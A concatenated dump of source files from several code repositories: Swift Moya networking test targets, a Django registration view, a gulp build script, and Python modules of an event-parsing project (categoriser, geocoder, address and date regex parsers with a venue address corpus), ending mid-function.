return "/users/\(name.URLEscapedString)"
}
}
var method: Moya.Method {
return .GET
}
var parameters: [String: AnyObject]? {
return nil
}
var sampleData: NSData {
switch self {
case .Zen:
return "Half measures are as bad as nothing at all.".dataUsingEncoding(NSUTF8StringEncoding)!
case .UserProfile(let name):
return "{\"login\": \"\(name)\", \"id\": 100}".dataUsingEncoding(NSUTF8StringEncoding)!
}
}
}
private func url(route: MoyaTarget) -> String {
return route.baseURL.URLByAppendingPathComponent(route.path).absoluteString
}
private let failureEndpointClosure = { (target: GitHub) -> Endpoint<GitHub> in
let error = NSError(domain: "com.moya.error", code: 0, userInfo: [NSLocalizedDescriptionKey: "Houston, we have a problem"])
return Endpoint<GitHub>(URL: url(target), sampleResponseClosure: {.NetworkError(error)}, method: target.method, parameters: target.parameters)
}
private enum HTTPBin: MoyaTarget {
case BasicAuth
var baseURL: NSURL { return NSURL(string: "http://httpbin.org")! }
var path: String {
switch self {
case .BasicAuth:
return "/basic-auth/user/passwd"
}
}
var method: Moya.Method {
return .GET
}
var parameters: [String: AnyObject]? {
switch self {
default:
return [:]
}
}
var sampleData: NSData {
switch self {
case .BasicAuth:
return "{\"authenticated\": true, \"user\": \"user\"}".dataUsingEncoding(NSUTF8StringEncoding)!
}
}
}
| 5c915c7a2ae8e6ba299682476b9538cc2154a307 | [
"Swift",
"Ruby"
] | 6 | Ruby | ggthedev/Moya | 964c863df66d620b2020791d60bc2d44b2ab220a | 30f7d30e3fc889eb3a658a8ad8ef3fd7fb23e708 |
refs/heads/master | <repo_name>deepgosalia/DjangoProject<file_sep>/mysite/main/views.py
from django.shortcuts import render,redirect
from django.http import HttpResponse
from .models import Tutorial
from django.contrib.auth.forms import UserCreationForm
from django.contrib.auth import login,logout, authenticate
#u can also extend the above form
'''
def homepage(request):
return HttpResponse("<h1>Awesome</h1>")
'''
def homepage(request):
return render(request=request,
template_name="main/home.html",
context={"tutorials":Tutorial.objects.all}
)
def register(request):
if request.method == 'POST': # this is when u click submit
form = UserCreationForm(request.POST)
if form.is_valid(): # checks if user is exit or not and all suhc stuff
user = form.save()
login(request,user) # bcz u dont want to make usre login again!
return redirect("main:homepage")# main is app name and homepage is inside that
else:
for msg in form.error_messages:
print(form.error_messages[msg])
form = UserCreationForm
return render(request,"main/register.html",context={"form":form})
| 3ef4b5846fe12c0bcdf4fa28ff1d194ea8bdc8ec | [
"Python"
] | 1 | Python | deepgosalia/DjangoProject | b7c59b64cccf65e55df3ca5a2909be08a4cd6b5f | c16212d7e4dc0ac40155ca363d566d344f95c7f3 |
refs/heads/master | <file_sep># music
# 项目运行
1. npm install
2. gulp
<file_sep>var gulp = require("gulp");
//压缩html 插件
var htmlClean = require("gulp-htmlclean");
//压缩图片
var imageMin = require("gulp-imagemin");
//压缩js
var uglify = require("gulp-uglify");
//去掉js中的调试语句如console
var debug = require("gulp-strip-debug");
//将less转换成css
var less = require("gulp-less");
//压缩css
var cleanCss = require("gulp-clean-css");
//postcss autoprefixer 自动给css3属性添加前缀
var postCss = require("gulp-postcss");
var autoprefixer = require("autoprefixer");
//开启服务器代理
var connect = require('gulp-connect');
var folder = {
src: "src/",
dist: "dist/"
}
//判断当前环境变量
var devMod = process.env.NODE_ENV == "development";
// export NODE_ENV=development 设置环境变量
gulp.task("html", function () {
var page = gulp.src(folder.src + "html/*")
.pipe(connect.reload()) //自动刷新页面
if (!devMod) {
page.pipe(htmlClean())
}
page.pipe(gulp.dest(folder.dist + "html/"))
})
gulp.task("css", function () {
var page = gulp.src(folder.src + "css/*")
.pipe(connect.reload())
.pipe(less())
.pipe(postCss([autoprefixer()]))
if (!devMod) {
page.pipe(cleanCss())
}
page.pipe(gulp.dest(folder.dist + "css/"))
})
gulp.task("js", function () {
var page = gulp.src(folder.src + "js/*")
.pipe(connect.reload())
if (!devMod) {
page.pipe(debug())
.pipe(uglify())
}
page.pipe(gulp.dest(folder.dist + "js/"))
})
gulp.task("image", function () {
gulp.src(folder.src + "image/*")
.pipe(imageMin())
.pipe(gulp.dest(folder.dist + "image/"))
})
gulp.task("server", function () {
connect.server({
port: "8888",
livereload: true
});
})
//开启监听文件变化
gulp.task("watch", function () {
gulp.watch(folder.src + "html/*", ["html"]);
gulp.watch(folder.src + "css/*", ["css"]);
gulp.watch(folder.src + "js/*", ["js"])
})
gulp.task("default", ["html", "css", "js", "image", "server", "watch"]);
// gulp.src()
// gulp.dest()
// gulp.task()
// gulp.watch() | 3c64822ad4562e1006f8d858db4173c73613b027 | [
"Markdown",
"JavaScript"
] | 2 | Markdown | frenchleave1007/music | 7f31413544b0435b36fbf4dcf83da442879d74cd | a51131d3f60a21ed7861100964b328d930e1dfa8 |
refs/heads/master | <repo_name>pombredanne/eventizer-1<file_sep>/parse/category/categorize.py
""" Categorize Events
<EMAIL> + <NAME>
"""
from nltk.corpus import stopwords
from nltk.stem import PorterStemmer
from nltk.tokenize import WordPunctTokenizer
from nltk.collocations import BigramCollocationFinder
from nltk.metrics import BigramAssocMeasures
import pickle
stop_words = stopwords.words('english')
if '__file__' in globals():
import os
path = str(os.path.dirname(__file__)) + '/'
else:
path = ''
category_pickle_path = path + 'categorizer.pkl'
with open(category_pickle_path, 'r') as f:
classifier = pickle.Unpickler(f).load()
classify = classifier.classify
bag_of_words = lambda words: dict([(word, True) for word in words])
tokens = lambda line: bag_of_words(extract_words(line))
categorize_event = lambda text: classify(tokens(text))
def extract_words(text):
"""
Extracting features for the classifier
We want to:
* Tokenize the text
* Find the most significant Bigram
* Remove stopwords
* Porterstem them
>>> extract_words("hey yo")
['hey', 'yo', 'hey yo']
"""
stemmer, tokenizer = PorterStemmer(), WordPunctTokenizer()
tokens = tokenizer.tokenize(text)
bigram_finder = BigramCollocationFinder.from_words(tokens)
bigrams = bigram_finder.nbest(BigramAssocMeasures.chi_sq, 500)
tokens += ["%s %s" % bigram_tuple for bigram_tuple in bigrams]
stem_long_non_stopwords = \
lambda tokens: [stemmer.stem(x.lower()) for x in tokens if x not in stop_words and len(x) > 1]
return stem_long_non_stopwords(tokens)
<file_sep>/reparse/__init__.py
from builders import *<file_sep>/parse/geolocate/geolocator.py
#!python
import urllib
import urllib2
import json
class GeocoderError(Exception):
pass
class GeocoderResultError(Exception):
pass
base_url = "http://maps.googleapis.com/maps/api/geocode/json?&%s"
def geocode(address, latlng):
params = {'address': address, 'sensor': "false"}
if latlng is not None:
params['latlng'] = latlng
url = base_url % urllib.urlencode(params)
data = urllib2.urlopen(url)
response = json.loads(data.read())
if 'status' in response and response['status'] == 'OK':
return response['results'][0]
else:
return {}<file_sep>/parse/address/address_test.py
import unittest
from address import Address
from reparse.tools.expression_checker import check_expression
import yaml
from address_corpus import address_corpus as corpus
class venue_address_test(unittest.TestCase):
def setUp(self):
self.parser = Address()
def test_expression_examples(self):
for test in corpus:
result = self.parser.parse(test)
self.assertNotEqual(result, None, "No match for: {}".format(test))
self.assertTrue(any(result), "No match for: {}".format(test))
def test_expressions(self):
with open("parse/address/expressions.yaml", 'r') as f:
check_expression(self, yaml.load(f))<file_sep>/parse/address/Place.py
from collections import namedtuple
class Place(namedtuple('place',
'city state zip street_number street_name street_direction street_type unit_number cross_street unit_letter')):
"""
A simple python object for holding us place addresses.
From http://www.metrogis.org/data/standards/address_guidelines.shtml
1. Street number. (3186 PILOT KNOB RD)
The street number is typically an integer value,
but it may also include alpha characters, (e.g., 142A or 216 1/2).
How these addresses will be located depends upon your geocoding software.
2. Prefix direction. (156 E 18TH ST)
The location of a direction designation may vary within an address.
USPS street direction standard abbreviations: N, S, E, W, NE, SE, NW, SW
(e.g., N 1ST AVE or 1ST AVE N).
3. Street name. (3334 CEDAR AVE)
In some cases streets may be known by more than one name.
In these cases an alias or cross reference may be needed.
Streets with numeric names may need to be entered as 1ST ST rather than FIRST ST.
4. Street type. (3334 CEDAR AVE)
Street types need to be entered using USPS recommended abbreviations.
5. Suffix direction. (1200 34TH ST W)
6. Unit Number (14955 GALAXIE AVE STE 300)
Some common unit designators are APT (Apartment), STE (Suite), DEPT (Department), and the # sign. (See Postal Addressing Standards)
7. City (MINNEAPOLIS MN 55406)
Spell city names in their entirety when possible.
13 character abbreviations from the USPS City State File.
8. State (MINNEAPOLIS MN 55406)
Use 2 letter USPS State Abbreviations.
9. Zip Code (MINNEAPOLIS MN 55406)
Zip Code or Zip+4 Number
"""
def __new__(cls, city=None, state=None, zip=None, street_number=None, street_name=None,
street_direction=None, street_type=None, unit_number=None,
cross_street=None, unit_letter=None):
return super(Place, cls).__new__(cls, city, state, zip, street_number, street_name, street_direction,
street_type, unit_number, cross_street, unit_letter)<file_sep>/parse/category/test_categorize.py
#!python
import unittest
class TestCat(unittest.TestCase):
def test_run(self):
from categorize import categorize_event
self.assertEquals(categorize_event("Sample apple cherry wines"), "winery")
if __name__ == '__main__':
unittest.main()
<file_sep>/parse/address/address_corpus.py
address_corpus = [
"9292 Sw. Roshak Rd. Tigard, OR",
"#1 West Marine Drive OR",
"#2 Marine Drive OR",
"0615 SW Palatine Hill Road OR",
"0615 SW Palatine Road OR",
"0615 SW Palatine Road OR",
"1 E. Washington St AZ",
"1 Peninger Road OR",
"100 N. 3rd St AZ",
"100 N. 3rd St. Phoenix",
"100 Tatone Street OR",
"1001 SE Division St OR",
"1001 SE Morrison St OR",
"1004 N Killingsworth St OR",
"1005 W Burnside St OR",
"1005 W Burnside St. OR",
"1006 Penn Avenue OR",
"101 N. 1st Ave AZ",
"101 N. 1st Ave.",
"102 NW 4th Ave OR",
"1028 SE Water Ave OR",
"103 N. Main Street OR",
"1033 NW 16th Ave OR",
"1033 NW 16th Ave. OR",
"1035 SW Stark St OR",
"1037 SW Broadway OR OR",
"1038 NW 6th St OR",
"10660 SW Youngberg Hill Road OR",
"10880 NE Mineral Springs Road OR",
"10th & Central Ave Coos Bay OR 97420",
"10th & Main Street OR",
"111 NE 11th Ave OR",
"111 NE 11th Ave. OR",
"1111 SW Broadway OR OR",
"1126 SW Park Ave OR",
"1135 SW Morrison St OR",
"1140 Umpqua College Rd. Roseburg OR 97470",
"115 N. 6th St AZ",
"115 NW 5th Ave OR",
"116 SE Yamhill St OR",
"1200 NW Everett St OR",
"1201 NW 17th Ave OR",
"1201 NW 17th Ave. OR",
"1205 SW Court OR",
"121 SW Salmon St OR",
"121 SW Salmon St. OR",
"1219 SW Park Ave OR",
"1219 SW Park Avenue OR",
"122 NW 8th Ave OR",
"1226 SW Salmon St OR",
"12375 SW 5th Street OR",
"12455 SW 5th Street OR",
"125 NW 5th Ave OR",
"125 NW 5th Ave. OR",
"12500 Lookingglass Rd OR",
"128 NE Russell St OR",
"128 NW 11th Ave OR",
"12850 SW Grant Ave OR",
"13 NW 6th Ave OR",
"1303 NE Fremont St OR",
"1305 SE 8th Ave. OR",
"131 NW 17th OR",
"131 NW 2nd Ave OR",
"1314 NW Glisan St OR",
"1314 NW Glisan St. OR",
"1319 E Main St OR",
"1322 N. Killingsworth Street OR",
"1332 W Burnside St OR",
"134 NW 8th Ave OR",
"14 E. Pierce St AZ",
"14 E. Pierce St. Phoenix",
"1400 SE Morrison St OR",
"1400 SE Morrison St OR",
"1401 N Wheeler Ave OR",
"1407 SE Stark St OR",
"1407 SE Stark St. OR",
"1410 SW Morrison St OR",
"1422 SW 11th Ave OR",
"1435 NW Flanders St OR",
"1465 NE Prescott St OR",
"1465 NE Prescott St. OR",
"1468 NE Alberta St OR",
"147 E. Adams St AZ",
"147 E. Adams St. Phoenix",
"1499 Bay St OR",
"1499 Bay St Florence OR 97439",
"15 E. Jackson St AZ",
"15 South Pioneer Street OR",
"15 E. Jackson St.",
"15018 2nd Street NE OR",
"1510 SE 9th Ave OR",
"1510 SE 9th Ave. OR",
"1515 SW Morrison St OR",
"1515 SW Morrison St. OR",
"15332 Old Hwy OR",
"1535 NE 17th Ave OR",
"16 NW Broadway OR OR",
"16 NW Broadway OR",
"1620 SW Park Ave OR",
"1620 SW Park OR",
"1624 NW Glisan St OR",
"1635 SE 7th Ave OR",
"16380 Boones Ferry Rd OR",
"1669 SE Bybee Blvd. OR",
"169 SW Coast Hwy Newport OR 97365",
"1701 S Pacific Highway OR OR",
"17 SE 8th Ave OR",
"17 SE 8th Ave. OR",
"1701 South Pacific Avenue OR",
"1714 NE Broadway OR OR",
"1714 NE Broadway OR",
"1715 SE Spokane St OR",
"17200 NE Delfel Road OR",
"1722 NE Alberta St OR",
"17673 French Prairie Rd OR",
"1785 NE Sandy Blvd OR",
"18 W. Monroe St AZ",
"18 W. Monroe St. Phoenix",
"1800 E Burnside St OR",
"1809 First street Baker City OR OR",
"1825 SW Broadway OR OR",
"1829 Main Street OR",
"1838 SW Jefferson St OR",
"1847 E Burnside St OR",
"185 SE Washington St OR",
"185 SE Washington St. OR",
"19433 NW Reeder Rd OR",
"1953 NW Kearney St OR",
"19600 Molalla Ave OR",
"1963 NW Kearney St OR",
"1967 W Burnside St OR",
"1967 W Burnside St. OR",
"19754 South Ridge Road OR",
"1988 Newmark Ave OR",
"2 N. Central Ave AZ",
"2 SW Naito Parkway OR",
"2 N. Central Ave.",
"20 NW 3rd Ave OR",
"201 E. Jefferson St AZ",
"201 E. Jefferson St. Phoenix",
"2011 Main Street OR",
"2016 NE Sandy Blvd OR",
"202 N. Central Ave AZ",
"2020 Auburn Ave OR",
"2020 Auburn Avenue OR",
"2025 N Kilpatrick St OR",
"2026 NE Alberta St OR",
"2026 NE Alberta St. OR",
"203 SE Grand Ave OR",
"203 W. Adams St AZ",
"203 W. Adams St. Phoenix",
"2035 NE Glisan St OR",
"204 SE Oak St. OR",
"204 W. Adams St. Ste. #202 Sisters OR 97759",
"2045 SE Belmont St OR",
"205 NW 4th Ave OR",
"2052 NE Diamond Lake Blvd OR",
"209 Depot St OR",
"21 NE 12th Ave OR",
"2101 NE Spalding Avenue OR",
"2110 SE 10th Ave OR",
"2110 SE 10th Ave. OR",
"2126 SW Halsey St OR",
"21277 NW Brunswick Road OR",
"215 N. 7th St AZ",
"215 N. 7th St. Phoenix",
"219 NW Davis St OR",
"219 NW Davis St. OR",
"221 NW 10th Ave OR",
"222 E. Monroe St AZ",
"222 SW Clay St OR",
"222 SW Clay St. OR",
"22267 Oregon Highway OR",
"22267 Oregon Highway 86 OR",
"225 SW Ash St OR",
"2301 NW Savier St OR",
"2301 NW Savier St. OR",
"232 SW Ankeny St OR",
"2346 SE Ankeny St OR",
"2346 SE Ankeny St. OR",
"24101 South Entrance Road OR",
"2432 SE 11th Ave OR",
"250 SW Broadalbin OR",
"2522 SE Clinton St OR",
"253 E Main St OR",
"253 E Main Street OR",
"26328 SW McConnell Road OR",
"265 E. Hwy OR",
"265 NW Hemlock Waldport OR OR",
"265 E. Hwy 34 Waldport OR 97394",
"2727 <NAME> Pkwy OR",
"2748 NW Crossing Dr OR",
"2828 SE Stephens St OR",
"2845 SE Stark St OR",
"28836 S Barlow Road OR",
"28836 S. Barlow Rd OR",
"2929 SE Powell Blvd OR",
"2958 NE Glisan St OR",
"2958 NE Glisan St. OR",
"29912 SE Highway 211 OR",
"3 S. 2nd St AZ",
"3 S. 2nd St.",
"300 NW 13th Ave OR",
"3000 NE Alberta St OR",
"3000 NE Alberta St. OR",
"3003 SE Milwaukie Ave OR",
"3017 SE Milwaukie Ave OR",
"3017 SE Milwaukie Ave. OR",
"303 SW 12th Ave OR",
"303 SW 12th Ave. OR",
"308 N. 2nd Ave AZ",
"308 N. 2nd Ave. Phoenix",
"31 NW 1st Ave OR",
"310 Highway OR",
"310 Highway 101 Florence OR 97439",
"3100 NE Sandy Blvd OR",
"3100 NE Sandy Blvd. OR",
"3130A SE Hawthorne Blvd OR",
"315 SE 3rd Ave OR",
"316 SW 11th Ave OR",
"320 SE 2nd Ave OR",
"3203 SE Woodstock Blvd OR",
"323 E 4th Street OR",
"333 E. McKinley St AZ",
"333 N. Central Ave AZ",
"333 E. McKinley St. Phoenix",
"333 N. Central Ave. Phoenix",
"3341 SE Belmont St OR",
"33814 S Meridian Rd OR",
"33814 South Meridian Road OR",
"3415 SW Cedar Hills Blvd OR",
"3416 N Lombard St OR",
"3430 SE Belmont St OR",
"350 W Burnside St OR",
"3531 S 6th Street OR",
"355 WaNaPa Street Cascade Locks OR 97014",
"3552 N Mississippi Ave OR",
"3552 N Mississippi Ave. OR",
"36777 Wheeler Rd OR",
"368 S State St OR",
"368 S State St.",
"3702 SE Hawthorne Blvd OR",
"3723 SE Hawthorne Blvd OR",
"3725 N Mississippi Ave OR",
"3731 N Mississippi Ave OR",
"3731 N. Mississippi Avenue OR",
"3735 SE Hawthorne Blvd OR",
"3747 SE Hawthorne Blvd OR",
"3839 NE Marine Drive OR",
"3862 SE Hawthorne Blvd OR",
"3862 SE Hawthorne Blvd. OR",
"391 Mill Creek Drive OR",
"3939 N Mississippi Ave OR",
"3939 N Mississippi Ave. OR",
"400 W. Washington St AZ",
"400 W. Washington St. Phoenix",
"4007 N Mississippi Ave OR",
"401 E. Jefferson St AZ",
"401 E. Jefferson St. Phoenix",
"4115 N Mississippi Ave OR",
"412 NE Beech St OR",
"412 NE Beech St. OR",
"415 1st Avenue OR",
"417 NW 9th Ave OR",
"421 SE Grand Ave OR",
"421 SE Grand Ave. OR",
"426 E Plain Blvd OR",
"426 SW Washington St OR",
"426 SW Washington St. OR",
"4319 SE Hawthorne Blvd OR",
"440 NW Glisan St OR",
"441 Hwy OR",
"441 Hwy 101 N Yachats OR 97498",
"444 N. Central Ave AZ",
"444 N. Central Ave. Phoenix",
"451 Winchester Ave OR",
"4534 SE Belmont St OR",
"455 N. 3rd St AZ",
"455 N. 3rd St. Phoenix",
"4603 Third Street OR",
"4790 SE Logus Road OR",
"4811 SE Hawthorne Blvd OR",
"4847 SE Division St. OR",
"50 Central Ave OR",
"50 W. Jefferson St AZ",
"50 W. Jefferson St.",
"5035 NE Sandy Blvd OR",
"510 NW 11th Ave OR",
"511 NW Couch St OR",
"520 NW Davis St OR",
"520 SW Powerhouse Drive OR",
"5225 NE <NAME> Jr. Blvd OR",
"5225 NE <NAME> Jr. Blvd. OR",
"525 N. 1st St AZ",
"525 SE Stark St OR",
"525 N. 1st St. Phoenix",
"527 E Main St OR",
"529 SW 4th Ave OR",
"531 SE 14th Ave OR",
"531 SE 14th Ave. OR",
"5340 N Interstate Ave OR",
"540 NE Hwy OR",
"540 NE Highway 101 OR",
"5403 NE 42nd Ave. OR",
"5426 N Gay Ave OR",
"5441 SE Belmont St OR",
"5474 NE Sandy Blvd OR",
"5474 NE Sandy Blvd. OR",
"55 Basin Street OR",
"55 Basin Street OR",
"550 E. Van Buren St AZ",
"550 E. <NAME> St. Phoenix",
"555 NW 12th Ave OR",
"570 Necanicum Drive OR",
"5736 NE 33rd Ave OR",
"5791 Lower River Road OR",
"5th St. & A St. Springfield OR 97477",
"600 E. Washington St AZ",
"600 E. Washington St. Phoenix",
"6000 NE Glisan St OR",
"6000 NE Glisan St. OR",
"606 Main St OR",
"606 Main St.",
"6161 SE Stark St OR",
"61907 Seven Devils Road OR",
"620 NW Spring Street OR",
"625 NW 21st Ave OR",
"625 NW Everett St OR",
"626 SW Park Ave OR",
"628 E. Adams St AZ",
"628 E. Adams St. Phoenix",
"6305 SE Foster Road OR",
"6309 SW Capitol Hwy Portland OR OR",
"639 SE Morrison St OR",
"639 SE Morrison Hwy Portland OR OR",
"65000 E US Highway OR",
"6526 SE Foster Road OR",
"668 First St Enterprise OR 97828",
"668 Sugar Avenue OR",
"6821 SW Beaverton OR",
"6835 SW Macadam Ave OR",
"694 NE 4th Avenue OR",
"701 SW 6th Ave OR",
"701 SW 6th Ave. OR",
"705 N. 1st St AZ",
"705 N. 1st St. Phoenix AZ",
"7126 SE Milwaukie Ave OR",
"714 NW Davis St OR",
"714 SW 20th OR",
"714 SW 20th Place OR",
"715 Quince Street OR",
"716 NW Davis St OR",
"716 NW Davis St. OR",
"720 SE Sandy Blvd OR",
"729 E Burnside St OR",
"729 E Burnside St. OR",
"733 NW Everett St OR",
"75 N. 2nd St AZ",
"795 NW 9th Street OR",
"796 W 13th OR",
"796 West 13th Avenue OR",
"796 W 13th Ave Eugene OR 97402",
"7th & Willamette St Eugene OR 97401",
"8 NW 6th Ave OR",
"8 NW 6th Ave. OR",
"8005 SW Grabhorn Rd OR",
"801 SW 10th Ave OR",
"801 SW Hwy OR",
"801 US OR",
"801 SW Hwy 101 OR",
"805 NW 21st Ave OR",
"810 SE Belmont St OR",
"8105 SE 7th Ave. OR",
"815 SW Park Ave OR",
"815 SW Park Ave. OR",
"817 NE Madrona St OR",
"830 E Burnside St OR",
"830 E Burnside St. OR",
"835 N Lombard St OR",
"8371 N Interstate Ave OR",
"850 NE 81st Ave OR",
"86013 Lorane Hwy Eugene OR OR",
"8622 N Lombard St OR",
"8635 N Lombard St OR",
"868 High St OR",
"870 Berntzen Rd OR",
"87000 E Hwy OR",
"87000 E Hwy 26 OR",
"8840 NE Skidmore St OR",
"8th & Oak Eugene OR 97401",
"900 State St OR",
"900 Court Street NE OR",
"909 SW 11th Ave OR",
"916 NW Flanders St OR",
"925 NW Flanders St OR",
"928 SE 9th Ave OR",
"929 NW Flanders St OR",
"94320 Hwy OR",
"960 Northwest Wall Street OR",
"Highway 34 & Cedar OR",
"Main Street between First & 3rd Avenue Hillsboro OR 97123",
"Main and Broadway Downtown OR",
"Oak Street & 2nd OR",
"PO Box 3500 - 304 Sisters OR 97759",
"1111 SW Broadway OR",
"Southeast 12th Avenue and Stark Street OR",
"Southeast Water Avenue and Morrison Street OR",
"Sundance Park Lower Buckeye Rd. and Rainbow Rd. Buckeye",
"Wallowa Lake & Main Street OR"
]<file_sep>/parse/address/address.py
"""
Uses Regex through the ExpressionPattern engine to find addresses
embedded in text and parse them.
"""
from functions import functions
__name__ = "Address"
import sys
sys.path.append('.')
from reparse.builders import build_from_yaml
class Address():
patterns = []
def __init__(self, patterns_path="parse/address/patterns.yaml", expressions_path="parse/address/expressions.yaml"):
self.patterns = build_from_yaml(functions, expressions_path, patterns_path)
def parse(self, line):
patterns = self.patterns
output = []
for pattern in patterns:
results = pattern.findall(line)
if results and any(results):
for result in results:
output.append(result)
return output
<file_sep>/parse/keywords.py
def merge_words(words, desc):
"""
>>> list(merge_words(["Wow", "Yo", "Yo"], "Wow and Yo Yo"))
['Wow', 'Yo Yo']
"""
size = len(words)
skipNext = False
for i, word in enumerate(words):
if skipNext:
skipNext = False
continue
if i + 1 < size:
comb = word + " " + words[i + 1]
if desc.find(comb) != -1:
yield comb
skipNext = True
else:
yield word
else:
yield word
def capitalized(letter):
return letter.lower() == letter
def get_keywords(text):
"""
>>> from collections import namedtuple
>>> event = namedtuple('event', 'description keywords')
>>> def put(i): print i
>>> get_keywords("Go and see Vince Vincent")
['Go', 'Vince Vincent']
>>> get_keywords("GO AND SEE VINCE VINCENT")
[]
"""
words = text.split(" ")
# Get words longer than one letter
words = filter(lambda word: len(word) > 1, words)
# Filter not capitalized words
words = filter(lambda word: not capitalized(word[0]), words)
# Remove ALL CAPS words
words = filter(lambda word: capitalized(word[1]), words)
# Merge words that are adjacent
words = list(merge_words(words, text))
return words<file_sep>/common.py
"""
Common includes the base event schema, and some functions to deal with storing/loading data.
There is a strict schema, you can't just insert into any field:
>>> try: print event(bad_field="Should cause assertion")
... except KeyError: print "Event Assertion Received"
Event Assertion Received
"""
import sys
import json
import traceback
import os
from random import randrange
import pipeless
event_schema = {
'id': "", # DateHash_Geohash
'name': "",
'date': "",
'address': "",
'venue_name': "",
'type': "",
'location': "",
'keywords': "",
'description': "",
'raw': {},
'sources': [],
'scores': {},
'score': 1,
'site_info': {},
'url': "",
'html': "",
}
event = pipeless.namedtuple_optional(event_schema, 'event')
def export_exception(event, exception):
try:
if 'name' in event.site_info:
event = event._replace(site_info=event.site_info['name'])
event = event._replace(html='')
msg = {
'error': exception.message,
'stack': traceback.format_exc().split("\n"),
'event': dict(event._asdict()),
'args': sys.argv
}
if not os.path.isdir('err'):
os.mkdir('err')
with open("err/e_" + str(randrange(0, 10000000)), "a") as f:
json.dump(msg, f)
sys.stderr.write('!')
sys.stderr.flush()
except:
pass
def unicode_to_whitespace(string):
"""
>>> unicode_to_whitespace(u'January\u00a011')
'January 11'
"""
def whitespace(string):
for char in string:
if ord(char) > 128:
yield ' '
else:
yield char
return "".join(whitespace(string)).encode('ascii')
<file_sep>/resolve/base_convert.py
import string
digs = string.digits + string.lowercase
def int2base(x, base):
if x < 0: sign = -1
elif x==0: return '0'
else: sign = 1
x *= sign
digits = []
while x:
digits.append(digs[x % base])
x /= base
if sign < 0:
digits.append('-')
digits.reverse()
return ''.join(digits)
<file_sep>/scan/unique.py
from db import get_keyword_count, insert_keywords
def get_uniqueness(keywords, name):
""" Search for things that make this event popular
and pass them all forward
//>>> from collections import namedtuple
//>>> def put(i): print i
//>>> main(namedtuple('event', 'keywords scores')([], {}),put)
event(keywords=[], scores={'uniqueness': 1000})
"""
# Insert our keywords
return 0
if True:
raise Exception("Not completed yet")
insert_keywords(keywords, name)
# Get Keyword popularity
keyword_score = [get_keyword_count(keyword) for keyword in keywords]
return 1000 + (1000 * len(keywords)) - sum(keyword_score)<file_sep>/parse/date/evaluate.py
#!python
from reparse.builders import build_from_yaml
from functions import functions
def percentage(part, whole):
if whole == 0:
return 0
return round(100 * float(part) / float(whole))
class Dates:
patterns = []
def __init__(self, patterns_path="patterns.yaml", expressions_path="expressions.yaml"):
self.patterns = build_from_yaml(functions, patterns_path, expressions_path)
def evaluate(self):
# Set up corpus and results
from corpus import corpus
results = {}
for type in corpus:
results[type] = 0
# Run Patterns
for type, tests in corpus.iteritems():
print "---- {} ----".format(type)
for test, answer in tests.iteritems():
temp = results[type]
for pattern in self.patterns:
#print "{} -> {}".format(test,pattern.findall(test))
if set(pattern.findall(test)) == set(answer): results[type] += 1
if results[type] == temp:
print test
# Print results
final_results = []
for type, value in corpus.iteritems():
final_results.append(percentage(results[type], len(corpus[type])))
print "{} - {}%".format(type, percentage(results[type], len(corpus[type])))
return int(sum(final_results) / len(corpus))
if __name__ == "__main__":
print "\nFinal Score: {}%".format(Dates().evaluate())
<file_sep>/reparse/config.py
"""
This module defines some variables you can
set for how RE|PARSE operates.
"""
# This number should be bigger than the longest
# chain of patterns-inside-patterns
pattern_max_recursion_depth = 10
# The regex engine and settings
import regex
flags = regex.VERBOSE | regex.IGNORECASE
expression_compiler = lambda expression: regex.compile(expression, flags=flags)
expression_sub = lambda expression, sub, string: regex.sub(expression, sub, string, flags=flags)
<file_sep>/reparse/builders.py
from reparse.expression import Group, AlternatesGroup, Expression
from reparse.config import pattern_max_recursion_depth
class ExpressionGroupNotFound(Exception):
pass
class Function_Builder:
"""
Function Builder is an on-the-fly builder of functions for expressions
>>> def t(input):
... return input
>>> fb = Function_Builder({"hey":t})
>>> fb.get_function("hey", "") is t
True
"""
_functions = {}
def __init__(self, functions_dict):
self._functions = functions_dict
def get_function(self, name, function_type, group_names=None):
if name in self._functions:
if function_type is "type":
def func(input):
if not any(input):
return None
return self._functions[name](input)
elif function_type is "group":
def func(input):
return self._functions[name](input[0])
elif function_type is "expression" and group_names is not None:
def func(input):
groups = dict(zip(group_names, input))
return self._functions[name](**groups)
elif function_type is "pattern":
def func(input):
return self._functions[name](*input)
else:
func = self._functions[name]
# DEFAULT FUNCTIONS
elif function_type is "group":
def func(input):
if input:
return input[0]
elif function_type is "type":
def func(input):
for i in input:
if i is not None:
return i
else:
def func(input):
if any(input):
return input
return func
def add_function(self, name, function):
self._functions[name] = function
class Expression_Builder:
""" Expression builder is useful for building
regex bits with Groups that cascade down::
from GROUP (group).?,?(group)|(group) (group)
to EXPRESSION (group) | (group)
to TYPE (group)
>>> dummy = lambda input: input
>>> get_function = lambda *_, **__: dummy
>>> function_builder = lambda: None
>>> function_builder.get_function = get_function
>>> expression = {'greeting':{'greeting':{'Expression': '(hey)|(cool)', 'Groups' : ['greeting', 'cooly']}}}
>>> eb = Expression_Builder(expression, function_builder)
>>> eb.get_type("greeting").findall("hey, cool!")
[[('hey',), ('',)], [('',), ('cool',)]]
"""
type_db = {}
def __init__(self, expressions_dict, function_builder):
for expression_type, expressions in expressions_dict.iteritems():
type_expressions = []
for name, expression in expressions.iteritems():
groups = expression['Groups']
regex = expression['Expression']
lengths = [1] * len(groups)
group_functions = [function_builder.get_function(g, "group") for g in groups]
expression_final_function = \
function_builder.get_function(name, function_type="expression", group_names=groups)
e = Expression(regex, group_functions, lengths, expression_final_function)
type_expressions.append(e)
type_final_function = function_builder.get_function(expression_type, function_type="type")
self.type_db[expression_type] = AlternatesGroup(type_expressions, type_final_function)
def get_type(self, type_string):
if type_string in self.type_db:
return self.type_db[type_string]
def add_type(self, expression, type_string):
self.type_db[type_string] = expression
def build_pattern(pattern_name, pattern_regex, expression_builder, function_builder):
final_function = function_builder.get_function(pattern_name, "pattern")
inbetweens, expression_names = separate_string(pattern_regex, "<", ">")
expressions = []
for name in expression_names:
expression = expression_builder.get_type(name)
if expression is None:
raise ExpressionGroupNotFound("Expression Group ({}) not Found!".format(name))
expressions.append(expression)
return Group(expressions, final_function, inbetweens, pattern_name)
# Utility functions
def separate_string(string, start_delimiter, end_delimiter):
"""
>>> separate_string("test (2)", "(", ")")
(['test ', ''], ['2'])
"""
string_list = string.replace(end_delimiter, start_delimiter).split(start_delimiter)
return string_list[::2], string_list[1::2] # Returns even and odd elements
def build_all_from_dict(output_patterns, patterns_dict, expression_builder, function_builder, depth=0):
extra = {}
for name, pattern in patterns_dict.iteritems():
try:
pat = build_pattern(name, pattern['Pattern'], expression_builder, function_builder)
pat.order = int(pattern.get('Order', 0))
output_patterns.append(pat)
expression_builder.add_type(pat, name)
except ExpressionGroupNotFound:
